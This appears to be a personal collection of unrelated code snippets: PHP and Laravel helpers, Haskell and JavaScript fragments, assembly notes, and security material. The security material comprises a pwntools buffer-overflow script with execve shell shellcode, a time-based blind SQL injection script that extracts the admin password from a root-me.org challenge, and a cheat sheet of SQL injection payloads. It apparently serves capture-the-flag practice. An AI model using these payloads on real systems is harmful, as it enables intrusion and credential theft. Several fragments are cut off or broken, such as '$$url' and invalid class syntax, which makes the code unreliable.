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// dump array key -> value without noise
function pprint($array) {
    echo "<pre style=\"background-color: #ddd;\">";
    print_r($array);
    echo "</pre>";
}

function randomString($length) {
    if (gettype($length) !== 'integer') {
        $length = 30;

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<?


public function curl($method, $id, $custom, $body) {
    ob_start();
    $curl = curl_init();
    if ($id) $$url .= $id;
    if ($custom) $url .= $custom;
    $headers = [
        'Content-Type: application/json',

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module Main where

main :: IO ()
main = do
  putStrLn (greet "hello world")
  putStrLn (greet "viet")


fac :: (Integral a) => a -> a
fac 0 = 1

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// Enhancer.js
import { transform } from 'magic';

export const Enhancer = WrappedComponent =>
  class EnhancedComponent {
    // ...
    const transformedProps = transform(this.props);
    
    render() {
      return <WrappedComponent ...transformedProps />;

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#!/usr/bin/env python

from pwn import *
import struct, sys

p = process("./ret2stack")

nop_sled = '\x90' * 16
shellcode = '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05'

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instructions

1. basic arithmetic

- and rga, rgb, arg     ; rga = rgb & arg
- eor _                 ;           ^
- sub _                 ;           -
- rsb _                 ; rga = arg - rgb
- add _                 ;           +
- adc _                 ;           +     + carry

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#!/usr/bin/env python

import requests

baseurl = 'http://challenge01.root-me.org/web-serveur/ch40/'
inject = '1; select case when %s then pg_sleep(15) else pg_sleep(0) end--'

cond1 = '(chr(%d) = substr((select password from users where username = $$admin$$), %d, 1))'
cond2 = '((select chr(117)||chr(115)||chr(101)||chr(114)||chr(115)) in (select table_name from information_schema.tables))'
cond3 = '(%d < (select char_length((select password from users where username = $$admin$$))))'

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select 1,2,grantee, is_grantable from information_schema.user_privileges where privilege_type = conv(0x66696c65,16,2)--

and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_name = 0x6d656d626572 limit 1 offset 2)))--

union all select group_concat(table_name from information_schema.tables)

select string_agg(column_name, chr(20)) from information_schema.columns where table_name = $$users$$

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composer create-project --prefer-dist laravel/laravel MyProject

@@@@@@@@@@@@@@@@@@

php artisan make:model MyModel
php artisan make:model MyModel --migration

php artisan make:migration create_models_table --table=models
php artisan make:controller MyModelController --model=Model

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- create folder Helpers under app\
- create new class Helper {}
- include inside config\app.php
  'Helper' => App\Helpers\Helper::class,
- usage:
  use Helper;
  $h = new Helper();
  $h->stuff();

- create new file Helpers\helpers.php